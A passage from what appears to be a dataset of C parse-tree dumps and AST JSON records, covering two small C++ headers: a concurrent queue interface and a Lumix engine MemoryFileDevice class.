~IConcurrentQueue() = default;\n virtual void enqueue(T &&element) = 0;\n virtual bool dequeue_wait(T &element,\n const std::chrono::milliseconds &duration) = 0;\n}" ({) "{" (labeled_statement) "public:\n virtual ~IConcurrentQueue() = default;" (statement_identifier) "public" (:) ":" (declaration) "virtual ~IConcurrentQueue() = default;" (type_identifier) "virtual" (ERROR) "~" (~) "~" (init_declarator) "IConcurrentQueue() = default" (function_declarator) "IConcurrentQueue()" (identifier) "IConcurrentQueue" (parameter_list) "()" (() "(" ()) ")" (=) "=" (identifier) "default" (;) ";" (declaration) "virtual void" (type_identifier) "virtual" (identifier) "void" (;) "" (expression_statement) "enqueue(T &&element) = 0;" (assignment_expression) "enqueue(T &&element) = 0" (call_expression) "enqueue(T &&element)" (identifier) "enqueue" (argument_list) "(T &&element)" (() "(" (binary_expression) "T &&element" (identifier) "T" (&&) "&&" (identifier) "element" ()) ")" (=) "=" (number_literal) "0" (;) ";" (declaration) "virtual bool" (type_identifier) "virtual" (identifier) "bool" (;) "" (expression_statement) "dequeue_wait(T &element,\n const std::chrono::milliseconds &duration) = 0;" (assignment_expression) "dequeue_wait(T &element,\n const std::chrono::milliseconds &duration) = 0" (call_expression) "dequeue_wait(T &element,\n const std::chrono::milliseconds &duration)" (identifier) "dequeue_wait" (argument_list) "(T &element,\n const std::chrono::milliseconds &duration)" (() "(" (binary_expression) "T &element" (identifier) "T" (&) "&" (identifier) "element" (,) "," (ERROR) "const std::chrono::" (identifier) "const" (identifier) "std" (:) ":" (:) ":" (identifier) "chrono" (:) ":" (:) ":" (binary_expression) "milliseconds &duration" (identifier) "milliseconds" (&) "&" (identifier) "duration" ()) ")" (=) "=" (number_literal) "0" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (}) "}" (comment) "// namespace eventHorizon"
95
4
{"language": "c", "success": true, "metadata": {"lines": 11, "avg_line_length": 29.82, "nodes": 60, "errors": 0, "source_hash": "80020526c11f04805f08154f0ce07b3d1cfb4d40188ecec306bc4093d839b6d5", "categorized_nodes": 42}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include <optional>\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<optional>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 19}}, {"id": 6, "type": "function_definition", "text": "namespace eventHorizon {\ntemplate <class T> class IConcurrentQueue {\npublic:\n virtual ~IConcurrentQueue() = default;\n virtual void enqueue(T &&element) = 0;\n virtual bool dequeue_wait(T &element,\n const std::chrono::milliseconds &duration) = 0;\n};\n\n}", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 12, "column": 1}}, {"id": 7, "type": "type_identifier", "text": "namespace", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 9}}, {"id": 8, "type": "identifier", "text": "eventHorizon", "parent": 6, "children": [], "start_point": {"row": 3, "column": 10}, "end_point": {"row": 3, "column": 22}}, {"id": 9, "type": "ERROR", "text": "template <class T> class IConcurrentQueue", "parent": 6, "children": [10, 17], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 41}}, {"id": 10, "type": "binary_expression", "text": "template <class T> class", "parent": 9, "children": [11, 14, 16], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 24}}, {"id": 11, "type": "binary_expression", "text": "template <class", "parent": 10, "children": [12, 13], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 15}}, {"id": 12, "type": "identifier", "text": "template", "parent": 11, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 8}}, {"id": 13, "type": "<", "text": "<", "parent": 11, "children": [], "start_point": {"row": 4, "column": 9}, "end_point": {"row": 4, "column": 10}}, {"id": 14, "type": "ERROR", "text": "T", "parent": 10, "children": [15], "start_point": {"row": 4, "column": 16}, "end_point": {"row": 4, "column": 17}}, {"id": 15, "type": "identifier", "text": "T", "parent": 14, "children": [], "start_point": {"row": 4, "column": 16}, "end_point": {"row": 4, "column": 17}}, {"id": 16, "type": ">", "text": ">", "parent": 10, "children": [], "start_point": {"row": 4, "column": 17}, "end_point": {"row": 4, "column": 18}}, {"id": 17, "type": "identifier", "text": "IConcurrentQueue", "parent": 9, "children": [], "start_point": {"row": 4, "column": 25}, "end_point": {"row": 4, "column": 41}}, {"id": 18, "type": "labeled_statement", "text": "public:\n virtual ~IConcurrentQueue() = default;", "parent": 6, "children": [19], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 40}}, {"id": 19, "type": "declaration", "text": "virtual ~IConcurrentQueue() = default;", "parent": 18, "children": [20, 21, 23], "start_point": {"row": 6, "column": 2}, "end_point": {"row": 6, "column": 40}}, {"id": 20, "type": "type_identifier", "text": "virtual", "parent": 19, "children": [], "start_point": {"row": 6, "column": 2}, "end_point": {"row": 6, "column": 9}}, {"id": 21, "type": "ERROR", "text": "~", "parent": 19, "children": [22], "start_point": {"row": 6, "column": 10}, "end_point": {"row": 6, "column": 11}}, {"id": 22, "type": "~", "text": "~", "parent": 21, "children": [], "start_point": {"row": 6, "column": 10}, "end_point": {"row": 6, "column": 11}}, {"id": 23, "type": "init_declarator", "text": "IConcurrentQueue() = default", "parent": 19, "children": [24, 27, 28], "start_point": {"row": 6, "column": 11}, "end_point": {"row": 6, "column": 39}}, {"id": 24, "type": "function_declarator", "text": "IConcurrentQueue()", "parent": 23, "children": [25, 26], "start_point": {"row": 6, "column": 11}, "end_point": {"row": 6, "column": 29}}, {"id": 25, "type": "identifier", "text": "IConcurrentQueue", "parent": 24, "children": [], "start_point": {"row": 6, "column": 11}, "end_point": {"row": 6, "column": 27}}, {"id": 26, "type": "parameter_list", "text": "()", "parent": 24, "children": [], "start_point": {"row": 6, "column": 27}, "end_point": {"row": 6, "column": 29}}, {"id": 27, "type": "=", "text": "=", "parent": 23, "children": [], "start_point": {"row": 6, "column": 30}, "end_point": {"row": 6, "column": 31}}, {"id": 28, "type": "identifier", "text": "default", "parent": 23, "children": [], "start_point": {"row": 6, "column": 32}, "end_point": {"row": 6, "column": 39}}, {"id": 29, "type": "declaration", "text": "virtual void", "parent": 6, "children": [30, 31], "start_point": {"row": 7, "column": 2}, "end_point": {"row": 7, "column": 14}}, {"id": 30, "type": "type_identifier", "text": "virtual", "parent": 29, "children": [], "start_point": {"row": 7, "column": 2}, "end_point": {"row": 7, "column": 9}}, {"id": 31, "type": "identifier", "text": "void", "parent": 29, "children": [], "start_point": {"row": 7, "column": 10}, "end_point": {"row": 7, "column": 14}}, {"id": 32, "type": "assignment_expression", "text": "enqueue(T &&element) = 0", "parent": 6, "children": [33, 40, 41], "start_point": {"row": 7, "column": 15}, "end_point": {"row": 7, "column": 39}}, {"id": 33, "type": "call_expression", "text": "enqueue(T &&element)", "parent": 32, "children": [34, 35], "start_point": {"row": 7, "column": 15}, "end_point": {"row": 7, "column": 35}}, {"id": 34, "type": "identifier", "text": "enqueue", "parent": 33, "children": [], "start_point": {"row": 7, "column": 15}, "end_point": {"row": 7, "column": 22}}, {"id": 35, "type": "argument_list", "text": "(T &&element)", "parent": 33, "children": [36], "start_point": {"row": 7, "column": 22}, "end_point": {"row": 7, "column": 35}}, {"id": 36, "type": "binary_expression", "text": "T &&element", "parent": 35, "children": [37, 38, 39], "start_point": {"row": 7, "column": 23}, "end_point": {"row": 7, "column": 34}}, {"id": 37, "type": "identifier", "text": "T", "parent": 36, "children": [], "start_point": {"row": 7, "column": 23}, "end_point": {"row": 7, "column": 24}}, {"id": 38, "type": "&&", "text": "&&", "parent": 36, "children": [], "start_point": {"row": 7, "column": 25}, "end_point": {"row": 7, "column": 27}}, {"id": 39, "type": "identifier", "text": "element", "parent": 36, "children": [], "start_point": {"row": 7, "column": 27}, "end_point": {"row": 7, "column": 34}}, {"id": 40, "type": "=", "text": "=", "parent": 32, "children": [], "start_point": {"row": 7, "column": 36}, "end_point": {"row": 7, "column": 37}}, {"id": 41, "type": "number_literal", "text": "0", "parent": 32, "children": [], "start_point": {"row": 7, "column": 38}, "end_point": {"row": 7, "column": 39}}, {"id": 42, "type": "declaration", "text": "virtual bool", "parent": 6, "children": [43, 44], "start_point": {"row": 8, "column": 2}, "end_point": {"row": 8, "column": 14}}, {"id": 43, "type": "type_identifier", "text": "virtual", "parent": 42, "children": [], "start_point": {"row": 8, "column": 2}, "end_point": {"row": 8, "column": 9}}, {"id": 44, "type": "identifier", "text": "bool", "parent": 42, "children": [], "start_point": {"row": 8, "column": 10}, "end_point": {"row": 8, "column": 14}}, {"id": 45, "type": "assignment_expression", "text": "dequeue_wait(T &element,\n const std::chrono::milliseconds &duration) = 0", "parent": 6, "children": [46, 58, 59], "start_point": {"row": 8, "column": 15}, "end_point": {"row": 9, "column": 74}}, {"id": 46, "type": "call_expression", "text": "dequeue_wait(T &element,\n const std::chrono::milliseconds &duration)", "parent": 45, "children": [47, 48], "start_point": {"row": 8, "column": 15}, "end_point": {"row": 9, "column": 70}}, {"id": 47, "type": "identifier", "text": "dequeue_wait", "parent": 46, "children": [], "start_point": {"row": 8, "column": 15}, "end_point": {"row": 8, "column": 27}}, {"id": 48, "type": "argument_list", "text": "(T &element,\n const std::chrono::milliseconds &duration)", "parent": 46, "children": [49, 52, 55], "start_point": {"row": 8, "column": 27}, "end_point": {"row": 9, "column": 70}}, {"id": 49, "type": "binary_expression", "text": "T &element", "parent": 48, "children": [50, 51], "start_point": {"row": 8, "column": 28}, "end_point": {"row": 8, "column": 38}}, {"id": 50, "type": "identifier", "text": "T", "parent": 49, "children": [], "start_point": {"row": 8, "column": 28}, "end_point": {"row": 8, "column": 29}}, {"id": 51, "type": "identifier", "text": "element", "parent": 49, "children": [], "start_point": {"row": 8, "column": 31}, "end_point": {"row": 8, "column": 38}}, {"id": 52, "type": "ERROR", "text": "const std::chrono::", "parent": 48, "children": [53, 54], "start_point": {"row": 9, "column": 28}, "end_point": {"row": 9, "column": 47}}, {"id": 53, "type": "identifier", "text": "std", "parent": 52, "children": [], "start_point": {"row": 9, "column": 34}, "end_point": {"row": 9, "column": 37}}, {"id": 54, "type": "identifier", "text": "chrono", "parent": 52, "children": [], "start_point": {"row": 9, "column": 39}, "end_point": {"row": 9, "column": 45}}, {"id": 55, "type": "binary_expression", "text": "milliseconds &duration", "parent": 48, "children": [56, 57], "start_point": {"row": 9, "column": 47}, "end_point": {"row": 9, "column": 69}}, {"id": 56, "type": "identifier", "text": "milliseconds", "parent": 55, "children": [], "start_point": {"row": 9, "column": 47}, "end_point": {"row": 9, "column": 59}}, {"id": 57, "type": "identifier", "text": "duration", "parent": 55, "children": [], "start_point": {"row": 9, "column": 61}, "end_point": {"row": 9, "column": 69}}, {"id": 58, "type": "=", "text": "=", "parent": 45, "children": [], "start_point": {"row": 9, "column": 71}, "end_point": {"row": 9, "column": 72}}, {"id": 59, "type": "number_literal", "text": "0", "parent": 45, "children": [], "start_point": {"row": 9, "column": 73}, "end_point": {"row": 9, "column": 74}}]}, "node_categories": {"declarations": {"functions": [6, 24], "variables": [19, 29, 42], "classes": [], "imports": [3, 4], "modules": [], "enums": []}, "statements": {"expressions": [10, 11, 33, 36, 46, 49, 55], "assignments": [32, 45], "loops": [], "conditionals": [7, 8, 12, 15, 17, 20, 25, 28, 30, 31, 34, 37, 39, 43, 44, 47, 50, 51, 53, 54, 56, 57], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [5, 41, 59], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "IConcurrentQueue", "text_snippet": "namespace eventHorizon {\ntemplate <class T> class IConcurrentQueue {\npublic:\n virtual ~IConcurrentQ"}, {"node_id": 24, "universal_type": "function", "name": "unknown", "text_snippet": "IConcurrentQueue()"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include <optional>\n"}, {"node_id": 4, "text": "#include"}]}, "original_source_code": "#pragma once\n#include <optional>\n\nnamespace eventHorizon {\ntemplate <class T> class IConcurrentQueue {\npublic:\n virtual ~IConcurrentQueue() = default;\n virtual void enqueue(T &&element) = 0;\n virtual bool dequeue_wait(T &element,\n const std::chrono::milliseconds &duration) = 0;\n};\n\n} // namespace eventHorizon\n"}
81,135
c
#pragma once #include "engine/lumix.h" #include "engine/fs/ifile_device.h" namespace Lumix { class IAllocator; namespace FS { class IFile; class LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFileDevice { public: explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {} void destroyFile(IFile* file) override; IFile* createFile(IFile* child) override; const char* name() const override { return "memory"; } private: IAllocator& m_allocator; }; } // ~namespace FS } // ~namespace Lumix
24.95
21
(translation_unit) "#pragma once\n\n#include "engine/lumix.h"\n#include "engine/fs/ifile_device.h"\n\nnamespace Lumix\n{\n class IAllocator;\n\n namespace FS\n {\n class IFile;\n\n class LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFileDevice\n {\n public:\n explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n void destroyFile(IFile* file) override;\n IFile* createFile(IFile* child) override;\n\n const char* name() const override { return "memory"; }\n\n private:\n IAllocator& m_allocator;\n };\n } // ~namespace FS\n} // ~namespace Lumix\n" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include "engine/lumix.h"\n" (#include) "#include" (string_literal) ""engine/lumix.h"" (") """ (string_content) "engine/lumix.h" (") """ (preproc_include) "#include "engine/fs/ifile_device.h"\n" (#include) "#include" (string_literal) ""engine/fs/ifile_device.h"" (") """ (string_content) "engine/fs/ifile_device.h" (") """ (function_definition) "namespace Lumix\n{\n class IAllocator;\n\n namespace FS\n {\n class IFile;\n\n class LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFileDevice\n {\n public:\n explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n void destroyFile(IFile* file) override;\n IFile* createFile(IFile* child) override;\n\n const char* name() const override { return "memory"; }\n\n private:\n IAllocator& m_allocator;\n };\n } // ~namespace FS\n}" (type_identifier) "namespace" (identifier) "Lumix" (compound_statement) "{\n class IAllocator;\n\n namespace FS\n {\n class IFile;\n\n class LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFileDevice\n {\n public:\n explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n void destroyFile(IFile* file) override;\n IFile* createFile(IFile* child) override;\n\n const char* name() const override { return "memory"; }\n\n private:\n IAllocator& m_allocator;\n };\n } // ~namespace FS\n}" ({) "{" (declaration) "class IAllocator;" (type_identifier) "class" (identifier) "IAllocator" (;) ";" (function_definition) "namespace FS\n {\n class IFile;\n\n class LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFileDevice\n {\n public:\n explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n void destroyFile(IFile* file) override;\n IFile* createFile(IFile* child) override;\n\n const char* name() const override { return "memory"; }\n\n private:\n IAllocator& m_allocator;\n };\n }" (type_identifier) "namespace" (identifier) "FS" (compound_statement) "{\n class IFile;\n\n class LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFileDevice\n {\n public:\n explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n void destroyFile(IFile* file) override;\n IFile* createFile(IFile* child) override;\n\n const char* name() const override { return "memory"; }\n\n private:\n IAllocator& m_allocator;\n };\n }" ({) "{" (declaration) "class IFile;" (type_identifier) "class" (identifier) "IFile" (;) ";" (declaration) "class LUMIX_ENGINE_API" (type_identifier) "class" (identifier) "LUMIX_ENGINE_API" (;) "" (function_definition) "MemoryFileDevice LUMIX_FINAL : public IFileDevice\n {\n public:\n explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n void destroyFile(IFile* file) override;\n IFile* createFile(IFile* child) override;\n\n const char* name() const override { return "memory"; }\n\n private:\n IAllocator& m_allocator;\n }" (type_identifier) "MemoryFileDevice" (identifier) "LUMIX_FINAL" (ERROR) ": public IFileDevice" (:) ":" (identifier) "public" (identifier) "IFileDevice" (compound_statement) "{\n public:\n explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n void destroyFile(IFile* file) override;\n IFile* createFile(IFile* child) override;\n\n const char* name() const override { return "memory"; }\n\n private:\n IAllocator& m_allocator;\n }" ({) "{" (labeled_statement) "public:\n explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}" (statement_identifier) "public" (:) ":" (ERROR) "explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator)" (type_identifier) "explicit" (function_declarator) "MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator)" (identifier) "MemoryFileDevice" (parameter_list) "(IAllocator& allocator)" (() "(" (parameter_declaration) "IAllocator& allocator" (type_identifier) "IAllocator" (ERROR) "&" (&) "&" (identifier) "allocator" ()) ")" (ERROR) ":" (:) ":" (call_expression) "m_allocator(allocator)" (identifier) "m_allocator" (argument_list) "(allocator)" (() "(" (identifier) "allocator" ()) ")" (compound_statement) "{}" ({) "{" (}) "}" (ERROR) "void destroyFile(IFile* file) override" (primitive_type) "void" (function_declarator) "destroyFile(IFile* file) override" (identifier) "destroyFile" (parameter_list) "(IFile* file)" (() "(" (parameter_declaration) "IFile* file" (type_identifier) "IFile" (pointer_declarator) "* file" (*) "*" (identifier) "file" ()) ")" (identifier) "override" (expression_statement) ";" (;) ";" (declaration) "IFile* createFile(IFile* child) override;" (type_identifier) "IFile" (pointer_declarator) "* createFile(IFile* child) override" (*) "*" (function_declarator) "createFile(IFile* child) override" (identifier) "createFile" (parameter_list) "(IFile* child)" (() "(" (parameter_declaration) "IFile* child" (type_identifier) "IFile" (pointer_declarator) "* child" (*) "*" (identifier) "child" ()) ")" (identifier) "override" (;) ";" (function_definition) "const char* name() const override { return "memory"; }" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* name() const override" (*) "*" (function_declarator) "name() const override" (identifier) "name" (parameter_list) "()" (() "(" ()) ")" (identifier) "const" (identifier) "override" (compound_statement) "{ return "memory"; }" ({) "{" (return_statement) "return "memory";" (return) "return" (string_literal) ""memory"" (") """ (string_content) "memory" (") """ (;) ";" (}) "}" (labeled_statement) "private:\n IAllocator& m_allocator;" (statement_identifier) "private" (:) ":" (expression_statement) "IAllocator& m_allocator;" (binary_expression) "IAllocator& m_allocator" (identifier) "IAllocator" (&) "&" (identifier) "m_allocator" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (}) "}" (comment) "// ~namespace FS" (}) "}" (comment) "// ~namespace Lumix"
143
5
{"language": "c", "success": true, "metadata": {"lines": 21, "avg_line_length": 24.95, "nodes": 77, "errors": 0, "source_hash": "456c1a566cf2e85b62ebda75b4993485d1ab2f9180d21776d1e3221f20fbe928", "categorized_nodes": 55}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include \"engine/lumix.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"engine/lumix.h\"", "parent": 3, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 25}}, {"id": 6, "type": "preproc_include", "text": "#include \"engine/fs/ifile_device.h\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"engine/fs/ifile_device.h\"", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 35}}, {"id": 9, "type": "function_definition", "text": "namespace Lumix\n{\n\tclass IAllocator;\n\n\tnamespace FS\n\t{\n\t\tclass IFile;\n\n\t\tclass LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFileDevice\n\t\t{\n\t\tpublic:\n\t\t\texplicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n\t\t\tvoid destroyFile(IFile* file) override;\n\t\t\tIFile* createFile(IFile* child) override;\n\n\t\t\tconst char* name() const override { return \"memory\"; }\n\n\t\tprivate:\n\t\t\tIAllocator& m_allocator;\n\t\t};\n\t} // ~namespace FS\n}", "parent": null, "children": [10, 11], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 27, "column": 1}}, {"id": 10, "type": "type_identifier", "text": "namespace", "parent": 9, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 9}}, {"id": 11, "type": "identifier", "text": "Lumix", "parent": 9, "children": [], "start_point": {"row": 5, "column": 10}, "end_point": {"row": 5, "column": 15}}, {"id": 12, "type": "declaration", "text": "class IAllocator;", "parent": 9, "children": [13], "start_point": {"row": 7, "column": 1}, "end_point": {"row": 7, "column": 18}}, {"id": 13, "type": "identifier", "text": "IAllocator", "parent": 12, "children": [], "start_point": {"row": 7, "column": 7}, "end_point": {"row": 7, "column": 17}}, {"id": 14, "type": "function_definition", "text": "namespace FS\n\t{\n\t\tclass IFile;\n\n\t\tclass LUMIX_ENGINE_API MemoryFileDevice LUMIX_FINAL : public IFileDevice\n\t\t{\n\t\tpublic:\n\t\t\texplicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n\t\t\tvoid destroyFile(IFile* file) override;\n\t\t\tIFile* createFile(IFile* child) override;\n\n\t\t\tconst char* name() const override { return \"memory\"; }\n\n\t\tprivate:\n\t\t\tIAllocator& m_allocator;\n\t\t};\n\t}", "parent": 9, "children": [15, 16], "start_point": {"row": 9, "column": 1}, "end_point": {"row": 26, "column": 2}}, {"id": 15, "type": "type_identifier", "text": "namespace", "parent": 14, "children": [], "start_point": {"row": 9, "column": 1}, "end_point": {"row": 9, "column": 10}}, {"id": 16, "type": "identifier", "text": "FS", "parent": 14, "children": [], "start_point": {"row": 9, "column": 11}, "end_point": {"row": 9, "column": 13}}, {"id": 17, "type": "declaration", "text": "class IFile;", "parent": 14, "children": [18], "start_point": {"row": 11, "column": 2}, "end_point": {"row": 11, "column": 14}}, {"id": 18, "type": "identifier", "text": "IFile", "parent": 17, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 13}}, {"id": 19, "type": "declaration", "text": "class LUMIX_ENGINE_API", "parent": 14, "children": [20], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 24}}, {"id": 20, "type": "identifier", "text": "LUMIX_ENGINE_API", "parent": 19, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 24}}, {"id": 21, "type": "function_definition", "text": "MemoryFileDevice LUMIX_FINAL : public IFileDevice\n\t\t{\n\t\tpublic:\n\t\t\texplicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}\n\n\t\t\tvoid destroyFile(IFile* file) override;\n\t\t\tIFile* createFile(IFile* child) override;\n\n\t\t\tconst char* name() const override { return \"memory\"; }\n\n\t\tprivate:\n\t\t\tIAllocator& m_allocator;\n\t\t}", "parent": 14, "children": [22, 23, 24], "start_point": {"row": 13, "column": 25}, "end_point": {"row": 25, "column": 3}}, {"id": 22, "type": "type_identifier", "text": "MemoryFileDevice", "parent": 21, "children": [], "start_point": {"row": 13, "column": 25}, "end_point": {"row": 13, "column": 41}}, {"id": 23, "type": "identifier", "text": "LUMIX_FINAL", "parent": 21, "children": [], "start_point": {"row": 13, "column": 42}, "end_point": {"row": 13, "column": 53}}, {"id": 24, "type": "ERROR", "text": ": public IFileDevice", "parent": 21, "children": [25], "start_point": {"row": 13, "column": 54}, "end_point": {"row": 13, "column": 74}}, {"id": 25, "type": "identifier", "text": "IFileDevice", "parent": 24, "children": [], "start_point": {"row": 13, "column": 63}, "end_point": {"row": 13, "column": 74}}, {"id": 26, "type": "labeled_statement", "text": "public:\n\t\t\texplicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator) {}", "parent": 21, "children": [27], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 16, "column": 79}}, {"id": 27, "type": "ERROR", "text": "explicit MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator)", "parent": 26, "children": [28, 29], "start_point": {"row": 16, "column": 3}, "end_point": {"row": 16, "column": 76}}, {"id": 28, "type": "type_identifier", "text": "explicit", "parent": 27, "children": [], "start_point": {"row": 16, "column": 3}, "end_point": {"row": 16, "column": 11}}, {"id": 29, "type": "function_declarator", "text": "MemoryFileDevice(IAllocator& allocator) : m_allocator(allocator)", "parent": 27, "children": [30, 31, 35], "start_point": {"row": 16, "column": 12}, "end_point": {"row": 16, "column": 76}}, {"id": 30, "type": "identifier", "text": "MemoryFileDevice", "parent": 29, "children": [], "start_point": {"row": 16, "column": 12}, "end_point": {"row": 16, "column": 28}}, {"id": 31, "type": "parameter_list", "text": "(IAllocator& allocator)", "parent": 29, "children": [32], "start_point": {"row": 16, "column": 28}, "end_point": {"row": 16, "column": 51}}, {"id": 32, "type": "parameter_declaration", "text": "IAllocator& allocator", "parent": 31, "children": [33, 34], "start_point": {"row": 16, "column": 29}, "end_point": {"row": 16, "column": 50}}, {"id": 33, "type": "type_identifier", "text": "IAllocator", "parent": 32, "children": [], "start_point": {"row": 16, "column": 29}, "end_point": {"row": 16, "column": 39}}, {"id": 34, "type": "identifier", "text": "allocator", "parent": 32, "children": [], "start_point": {"row": 16, "column": 41}, "end_point": {"row": 16, "column": 50}}, {"id": 35, "type": "call_expression", "text": "m_allocator(allocator)", "parent": 29, "children": [36, 37], "start_point": {"row": 16, "column": 54}, "end_point": {"row": 16, "column": 76}}, {"id": 36, "type": "identifier", "text": "m_allocator", "parent": 35, "children": [], "start_point": {"row": 16, "column": 54}, "end_point": {"row": 16, "column": 65}}, {"id": 37, "type": "argument_list", "text": "(allocator)", "parent": 35, "children": [38], "start_point": {"row": 16, "column": 65}, "end_point": {"row": 16, "column": 76}}, {"id": 38, "type": "identifier", "text": "allocator", "parent": 37, "children": [], "start_point": {"row": 16, "column": 66}, "end_point": {"row": 16, "column": 75}}, {"id": 39, "type": "ERROR", "text": "void destroyFile(IFile* file) override", "parent": 21, "children": [40, 41], "start_point": {"row": 18, "column": 3}, "end_point": {"row": 18, "column": 41}}, {"id": 40, "type": "primitive_type", "text": "void", "parent": 39, "children": [], "start_point": {"row": 18, "column": 3}, "end_point": {"row": 18, "column": 7}}, {"id": 41, "type": "function_declarator", "text": "destroyFile(IFile* file) override", "parent": 39, "children": [42, 43, 49], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 41}}, {"id": 42, "type": "identifier", "text": "destroyFile", "parent": 41, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 19}}, {"id": 43, "type": "parameter_list", "text": "(IFile* file)", "parent": 41, "children": [44], "start_point": {"row": 18, "column": 19}, "end_point": {"row": 18, "column": 32}}, {"id": 44, "type": "parameter_declaration", "text": "IFile* file", "parent": 43, "children": [45, 46], "start_point": {"row": 18, "column": 20}, "end_point": {"row": 18, "column": 31}}, {"id": 45, "type": "type_identifier", "text": "IFile", "parent": 44, "children": [], "start_point": {"row": 18, "column": 20}, "end_point": {"row": 18, "column": 25}}, {"id": 46, "type": "pointer_declarator", "text": "* file", "parent": 44, "children": [47, 48], "start_point": {"row": 18, "column": 25}, "end_point": {"row": 18, "column": 31}}, {"id": 47, "type": "*", "text": "*", "parent": 46, "children": [], "start_point": {"row": 18, "column": 25}, "end_point": {"row": 18, "column": 26}}, {"id": 48, "type": "identifier", "text": "file", "parent": 46, "children": [], "start_point": {"row": 18, "column": 27}, "end_point": {"row": 18, "column": 31}}, {"id": 49, "type": "identifier", "text": "override", "parent": 41, "children": [], "start_point": {"row": 18, "column": 33}, "end_point": {"row": 18, "column": 41}}, {"id": 50, "type": "declaration", "text": "IFile* createFile(IFile* child) override;", "parent": 21, "children": [51, 52], "start_point": {"row": 19, "column": 3}, "end_point": {"row": 19, "column": 44}}, {"id": 51, "type": "type_identifier", "text": "IFile", "parent": 50, "children": [], "start_point": {"row": 19, "column": 3}, "end_point": {"row": 19, "column": 8}}, {"id": 52, "type": "pointer_declarator", "text": "* createFile(IFile* child) override", "parent": 